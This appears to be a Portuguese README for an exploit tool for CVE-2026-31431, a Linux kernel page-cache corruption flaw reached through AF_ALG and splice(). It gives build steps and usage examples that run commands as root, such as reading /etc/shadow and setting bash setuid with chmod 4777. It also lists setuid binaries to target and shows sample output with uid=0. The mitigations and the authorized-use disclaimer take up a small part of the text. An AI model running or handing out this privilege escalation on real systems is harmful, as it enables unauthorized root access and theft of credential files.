
Exploit para CVE-2026-31431, uma vulnerabilidade de corrupção do cache de páginas do kernel Linux, fornecendo shell root interativo e execução de comandos não interativa via cadeias AF_ALG e splice().
Ferramenta de exploração de poluição do page cache do kernel Linux, com suporte para execução de comandos não interativa.
CVE-2026-31431 é uma vulnerabilidade de falha lógica no kernel Linux, presente na implementação do algoritmo AEAD authencesn. Através da cadeia de chamadas de sistema AF_ALG e splice(), um atacante pode escrever 4 bytes de dados no page cache de qualquer arquivo legível.
Escopo de impacto:
Características da vulnerabilidade:
.
├── copyfail_universal.c # Código-fonte do POC principal (compilação estática, sem dependência de libc)
├── copyfail_universal # Binário compilado
├── run_cmd.sh # Script wrapper para execução não interativa
├── Makefile # Script de compilação
└── README.md # Este documento
# Método 1: usando gcc e ld
gcc -c copyfail_universal.c -o copyfail_universal.o -O2 -fno-stack-protector -fno-pic -fno-pie
ld copyfail_universal.o -o copyfail_universal -static -nostdlib
chmod +x copyfail_universal
# Método 2: usando Makefile
make
./copyfail_universal
# Método 1: usando o script wrapper (recomendado)
./run_cmd.sh "id"
./run_cmd.sh "cat /etc/shadow"
./run_cmd.sh "chmod 4777 /bin/bash"
# Método 2: via pipe
echo 'id > /tmp/pwned.txt; exit' | ./copyfail_universal
# Método 3: usando variável de ambiente
CMD='whoami' ./copyfail_universal
# O alvo padrão é /usr/bin/su
# Outros alvos podem ser especificados modificando a variável path no código-fonte
# Alvos comuns disponíveis:
# /usr/bin/su
# /usr/bin/passwd
# /usr/bin/chsh
# /usr/bin/chfn
# /usr/bin/gpasswd
# /usr/bin/pkexec
A vulnerabilidade modifica apenas o page cache, não os arquivos em disco. Execute o seguinte comando para recuperar:
sync; echo 3 > /proc/sys/vm/drop_caches
O script run_cmd.sh já possui recuperação automática integrada.
$ ./run_cmd.sh "id"
[*] CVE-2026-31431 Copy Fail Exploit
[*] Target: /usr/bin/su
[*] Mode: Interactive shell
[*] Payload size: 112 bytes
[*] Corrupting page cache...
[+] Done! Executing su...
uid=0(root) gid=1000(user) groups=1000(user),4(adm),27(sudo)
Para encontrar todos os programas setuid no sistema:
find / -perm -4000 -user root -type f 2>/dev/null
Atualize o kernel - Atualize para uma versão do kernel que inclua o patch a664bf3d603d
Mitigação temporária - Desative o módulo algif_aead:
echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif.conf
rmmod algif_aead 2>/dev/null || true
Ambientes de contêiner - Use seccomp para bloquear a criação de sockets AF_ALG
authencesn usa o buffer de destino como armazenamento temporário, escrevendo 4 bytes além do limitesplice() para passar páginas do page cache para o subsistema cryptoEsta ferramenta é destinada apenas para pesquisa de segurança e testes autorizados. Usar esta ferramenta para atacar sistemas não autorizados é ilegal. O usuário é o único responsável por todas as consequências legais.
| Programa | Caminho | Disponibilidade |
|---|
| su | /usr/bin/su | ✅ Padrão |
| passwd | /usr/bin/passwd | ✅ |
| chsh | /usr/bin/chsh | ✅ |
| chfn | /usr/bin/chfn | ✅ |
| gpasswd | /usr/bin/gpasswd | ✅ |
| pkexec | /usr/bin/pkexec | ✅ |
| mount | /bin/mount | ✅ |
| umount | /bin/umount | ✅ |